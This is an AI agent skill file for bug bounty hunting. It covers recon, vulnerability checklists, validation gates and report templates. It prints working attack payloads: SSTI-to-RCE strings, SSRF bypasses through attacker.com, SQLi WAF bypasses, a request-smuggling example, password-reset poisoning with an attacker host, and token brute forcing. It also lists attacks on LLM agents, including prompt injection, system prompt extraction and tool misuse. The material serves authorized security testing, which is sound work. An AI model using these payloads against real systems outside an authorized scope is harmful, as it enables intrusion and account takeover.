name: bug-bounty description: Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告

Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

THE ONLY QUESTION THAT MATTERS

"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

Pattern	Kill Reason
"Could theoretically allow..."	Not exploitable = not a bug
"An attacker with X, Y, Z conditions could..."	Too many preconditions
"Wrong implementation but no practical impact"	Wrong but harmless = not a bug
Dead code with a bug in it	Not reachable = not a bug
Source maps without secrets	No impact
SSRF with DNS-only callback	Need data exfil or internal access
Open redirect alone	Need ATO or OAuth chain
"Could be used in a chain if..."	Build the chain first, THEN report

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

---

CRITICAL RULES

1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
5. One bug class at a time -- go deep, don't spray
6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

A->B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

Bug A (Signal)	Hunt for Bug B	Escalate to C
IDOR (read)	PUT/DELETE on same endpoint	Full account data manipulation
SSRF (any)	Cloud metadata 169.254.169.254	IAM credential exfil -> RCE
XSS (stored)	Check if HttpOnly is set on session cookie	Session hijack -> ATO
Open redirect	OAuth redirect_uri accepts your domain	Auth code theft -> ATO
S3 bucket listing	Enumerate JS bundles	Grep for OAuth client_secret -> OAuth chain
Rate limit bypass	OTP brute force	Account takeover
GraphQL introspection	Missing field-level auth	Mass PII exfil
Debug endpoint	Leaked environment variables	Cloud credential -> infrastructure access
CORS reflects origin	Test with credentials: include	Credentialed data theft
Host header injection	Password reset poisoning	ATO via reset link

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

TOP 1% HACKER MINDSET

How Elite Hackers Think Differently

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Pre-Hunt Mental Framework

Step 1: Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

Think like the developer who built the feature:

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

The Top 1% Mental Checklist

• I know the app's core business model
• I've used the app as a real user for 15+ minutes
• I know the tech stack (language, framework, auth system, caching)
• I've read at least 3 disclosed reports for this program
• I have 2 test accounts ready (attacker + victim)
• I've defined my primary target: ONE crown jewel I'm hunting for today

Mindset Rules from Top Hunters

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

PHASE 2: LEARN (Pre-Hunt Intelligence)

Read Disclosed Reports

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method

1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff -- identify the anti-pattern
4. Grep your target for that same anti-pattern

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
2. Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere
3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
5. Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't
6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

---

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type -> Hunt Strategy

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS

CVE-Seeded Audit Approach

1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
2. Reproduce old bugs -- verify you can find the pattern in older code
3. Pattern-match forward -- search for the same anti-pattern in current code
4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Rust/Blockchain Source Code (Hard-Won Lessons)

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

VULNERABILITY HUNTING CHECKLISTS

IDOR -- Insecure Direct Object Reference

#1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

Variant	What to Test
V1: Direct	Change object ID in URL path /api/users/123 -> /api/users/456
V2: Body param	Change ID in POST/PUT JSON body {"user_id": 456}
V3: GraphQL node	{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk	/api/users?ids=1,2,3,4,5 -- request multiple IDs at once
V5: Nested	Change parent ID: /orgs/{org_id}/users/{user_id}
V6: File path	/files/download?path=../other-user/file.pdf
V7: Predictable	Sequential integers, timestamps, short UUIDs
V8: Method swap	GET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollback	v2 blocked? Try /api/v1/ same endpoint
V10: Header injection	X-User-ID: victim_id, X-Org-ID: victim_org

IDOR Testing Checklist

• Create two accounts (A = attacker, B = victim)
• Log in as A, perform all actions, note all IDs in requests
• Log in as B, replay A's requests with A's IDs using B's auth
• Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• Check API v1/v2 differences
• Check GraphQL schema for node() queries
• Check WebSocket messages for client-supplied IDs
• Test batch endpoints (can you request multiple IDs?)
• Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

SSRF -- Server-Side Request Forgery

• Try cloud metadata: http://169.254.169.254/latest/meta-data/
• Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
• Test all IP bypass techniques (see table below)
• Test protocol bypass: file://, dict://, gopher://
• Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

Bypass	Payload	Notes
Decimal IP	http://2130706433/	127.0.0.1 as single decimal
Hex IP	http://0x7f000001/	Hex representation
Octal IP	http://0177.0.0.1/	Octal 0177 = 127
Short IP	http://127.1/	Abbreviated notation
IPv6	http://[::1]/	Loopback in IPv6
IPv6-mapped	http://[::ffff:127.0.0.1]/	IPv4-mapped IPv6
Redirect chain	http://attacker.com/302->http://169.254.169.254	Check each hop
DNS rebinding	Register domain resolving to 127.0.0.1	First check = external, fetch = internal
URL encoding	http://127.0.0.1%2523@attacker.com	Parser confusion
Enclosed alphanumeric	http://①②⑦.⓪.⓪.①	Unicode numerals
Protocol smuggling	gopher://127.0.0.1:6379/_INFO	Redis/other protocols

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

OAuth / OIDC

• Missing state parameter -> CSRF
• redirect_uri accepts wildcards -> ATO
• Missing PKCE -> code theft
• Implicit flow -> token leakage in referrer
• Open redirect in post-auth redirect -> OAuth token theft chain

Backslash	https://target.com\@evil.com	Some parsers normalize \ to /
Missing protocol	//evil.com	Protocol-relative
@-trick	https://target.com@evil.com	target.com becomes username

Business Logic

• Negative quantities in cart
• Price parameter tampering
• Workflow skip (e.g., pay without checkout)
• Role escalation via registration fields
• Privilege persistence after downgrade

XSS -- Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

SQL Injection

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

• Prompt injection via user input passed to LLM
• Indirect injection via document/URL the AI processes
• IDOR in chat history (enumerate conversation IDs)
• System prompt extraction via roleplay/encoding
• RCE via code execution tool abuse
• ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

ID	Vuln Class	What to Test
ASI01	Prompt injection	Override system prompt via user input -- make agent ignore its rules
ASI02	Tool misuse	Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool)
ASI03	Data exfil	Extract training data / PII via crafted prompts that leak context
ASI04	Privilege escalation	Use AI to access admin-only tools -- agent has broader perms than user
ASI05	Indirect injection	Poison document/URL the AI processes -- hidden instructions in fetched content
ASI06	Excessive agency	AI takes destructive actions without confirmation -- delete, send, pay
ASI07	Model DoS	Craft inputs that cause infinite loops, excessive token usage, or OOM
ASI08	Insecure output	AI generates XSS/SQLi/command injection in its output that gets rendered
ASI09	Supply chain	Compromised plugins/tools/MCP servers the AI calls
ASI10	Sensitive disclosure	AI reveals internal configs, API keys, system prompts, user data

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Cache Poisoning / Web Cache Deception

• Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
• Parameter cloaking (?param=value;poison=xss)
• Fat GET (body params on GET requests)
• Web cache deception (/account/settings.css -- trick cache into storing private response)
• Param Miner (Burp extension) -- auto-discovers unkeyed headers

HTTP Request Smuggling

• CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• H2.CL: HTTP/2 downgrade smuggling
• TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
• Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

Android / Mobile Hunting

• Certificate pinning bypass (Frida/objection)
• Exported activities/receivers (AndroidManifest.xml)
• Deep link injection
• Shared preferences / SQLite in cleartext
• WebView JavaScript bridge
• Mobile API often uses older/different API version than web

CI/CD Pipeline

• GitHub Actions: pull_request_target with checkout of PR code
• Secrets in workflow logs
• Artifact poisoning (overwrite existing artifacts)
• Build command injection via branch/tag names
• OIDC token theft from CI runners

SSTI -- Server-Side Template Injection

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

<%= `id` %>

Subdomain Takeover

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

• Basic takeover: serve page under target.com subdomain -> Low/Medium
• • Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
• • OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
• • CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

ATO -- Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources -> token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it -> KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

Factor	Low (0-3.9)	Medium (4-6.9)	High (7-8.9)	Critical (9-10)
Attack Vector	Physical	Local	Adjacent	Network
Privileges	High	Low	None	None
User Interaction	Required	Required	None	None
Impact	Partial	Partial	High	High (all 3)

Typical Scores by Bug Class

Bug	Typical CVSS	Severity
IDOR (read PII)	6.5	Medium
IDOR (write/delete)	7.5	High
Auth bypass -> admin	9.8	Critical
Stored XSS	5.4-8.8	Med-High
SQLi (data exfil)	8.6	High
SSRF (cloud metadata)	9.1	Critical
Race condition (double spend)	7.5	High
GraphQL auth bypass	8.7	High
JWT none algorithm	9.1	Critical

ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

Conditionally Valid With Chain

These low findings become valid bugs when chained:

Low Finding	+ Chain	= Valid Bug
Open redirect	+ OAuth code theft	ATO
Clickjacking	+ sensitive action + PoC	Account action
CORS wildcard	+ credentialed exfil	Data theft
CSRF	+ sensitive state change	Account takeover
No rate limit	+ OTP brute force	ATO
SSRF (DNS only)	+ internal access proof	Internal network access
Host header injection	+ password reset poisoning	ATO
Self-XSS	+ login CSRF	Stored XSS on victim

PHASE 5: REPORT

HackerOne Report Template

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd Report Template

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

When payout is being downgraded, use these counters:

Program Says	You Counter With
"Requires authentication"	"Attacker needs only a free account (no special role)"
"Limited impact"	"Affects [N] users / [PII type] / [$ amount]"
"Already known"	"Show me the report number -- I searched and found none"
"By design"	"Show me the documentation that states this is intended"
"Low CVSS score"	"CVSS doesn't account for business impact -- attacker can steal [X]"

What Is This?

Agentic Bug Hunter finds real, reportable bugs, not theoretical ones. Point it at a target and it runs recon, tests for vulnerabilities, validates findings against a strict gate, and writes a submission-ready report for HackerOne, Bugcrowd, Intigriti, or Immunefi.

It remembers everything: patterns found on one target inform the next, and sessions pick up where they left off.

Works as a Claude Code plugin, or as a fully standalone CLI (bughunter) with no subscription required.

---

Standalone Mode: No Subscription Required

You no longer need Claude Code, Claude Pro, or any paid AI subscription.

Install once, use the bughunter command from any terminal on your machine:

git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git
cd Agentic-Bug-Hunter
./install.sh --agent standalone

Rerun the same command after pulling updates. The installer detects and refreshes the active managed bughunter command, including older installations under /usr/local/bin or ~/.local/bin, while preserving your saved provider configuration in ~/.bughunter/config.json.

To uninstall the standalone command while keeping its configuration:

./uninstall.sh --agent standalone

Use --purge-config to also delete ~/.bughunter/config.json. The uninstaller also supports claude, opencode, pi, codex, agents, and all targets.
